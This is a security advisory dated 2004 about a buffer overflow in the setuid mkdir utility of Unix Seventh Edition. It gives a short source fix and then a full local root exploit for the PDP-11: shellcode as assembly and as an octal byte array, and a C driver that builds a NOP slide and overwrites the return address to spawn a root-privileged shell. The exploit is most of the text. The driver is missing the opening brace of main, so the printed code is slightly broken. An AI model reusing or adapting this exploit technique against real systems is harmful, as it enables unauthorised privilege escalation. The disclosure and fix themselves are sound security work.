Mkdir buffer overflow vulnerability in Unix Seventh Edition.
2 Jun 2004


SYNOPSIS
    A vulnerability in the mkdir system utility can allow an
    unprivileged user to gain root privileges in UNIX 7th
    Edition systems.

DESCRIPTION
    The mkdir utility (/bin/mkdir) creates directories on behalf
    of the user.  Mkdir is granted root privileges through the
    set-user-id mechanism to allow it to create directories with
    the mknod system call.  Before making a subdirectory, mkdir first
    verifies that the path leading up to the new directory exists
    and that the user can access the directory.  In the process
    of performing these tests, mkdir copies a portion of the
    user supplied path into a fixed sized temporary buffer.
    This occurs in the function mkdir() (see /usr/src/cmd/mkdir.c).

    The mkdir() function first finds the position of the last path
    divider character ('/') in the provided path, and then copies
    all the data up to this point into the pname buffer.  Since
    the pname buffer is only 128 bytes long, and the user provided
    path can have a much longer length, a buffer overflow condition
    exists.

SOLUTION
    The fix to this problem is simple -- ensure that the provided
    path is no longer than the maximum path length.  This can be
    done by adding:

        if(strlen(d) >= 126) {
            fprintf(stderr, "mkdir: path is too long\n");
            ++Errors;
            return;
        }

    to the start of the mkdir() function.  Comparing with a value
    slightly less than the maximum path length ensures that the
    buffer is also large enough to contain the path to the "."
    link that is created later in the function.

EXPLOIT
    The following program exploits this problem on the PDP-11
    platform to run a shell with the effective user id of the
    superuser.

----
/*
 * Exploit for /bin/mkdir Unix V7 PDP-11.
 * mkdir has a buffer overflow when checking if the directory
 * in /arg/with/slashes/fname exists.
 *
 * This will run /bin/sh with euid 0, but not uid 0.  Since
 * the shell doesn't do anything special about this, we don't
 * really care.  If you care, run  setuid(0); execl("/bin/sh", 0);
 */

/*
.globl  _main
_main:
    mov  pc,r1
    sub  $-[sh-_main-2], r1             / pointer to sh
    mov  r1, r2
    sub  $-8, r2
    clrb -1(r2)                         / null terminate
    mov  r1, r2
    clr  -(r1)                          / char *env[] = {0}
    mov  r1, r3
    mov  r2, -(r1)                      / char *argv[] = {sh, 0}
    mov  r1, r4
    mov  r3, -(r1)                      / reverse of sh,argv,env
    mov  r4, -(r1)
    mov  r2, -(r1)
    sys  59.; 11111; 11111; 11111       / call execve
argv:   11111; 11111
sh:     </bin/sh>
*/

char egg[] = { 0301, 021, 0301, 0345, 0326, 0377, 0102, 020,
    0302, 0345, 0370, 0377, 062, 0212, 0377, 0377,
    0102, 020, 041, 012, 0103, 020, 0241, 020,
    0104, 020, 0341, 020, 041, 021, 0241, 020,
    073, 0211, 0111, 022, 0111, 022, 0111, 022,
    0111, 022, 0111, 022, 057, 0142, 0151, 0156,
    057, 0163, 0150, 0 };

#define NOPSLIDE 50
#define CNT 136
#define PC 0xfea0

main(argc, argv)
    int argc;
    char **argv;
 
    char buf[400];
    int i;
    char *argv2[4];

    /* nop slide + egg */
    for(i = 0; i < NOPSLIDE; ) {
        buf[i++] = 0301;
        buf[i++] = 021;
    }
    strcpy(buf + i, egg);

    /* pad out to CNT */
    for(i = strlen(buf); i < CNT; i++)
        buf[i] = 'a';

    /* overwrite retaddr */
    buf[i++] = PC & 0xff;
    buf[i++] = PC >> 8;

    /* extra stuff */
    buf[i++] = '/';
    buf[i++] = 'a';
    buf[i++] = 0;

    argv2[0] = "/bin/mkdir";
    argv2[1] = buf;
    argv2[2] = 0;
    execv(argv2[0], argv2);
    return 0;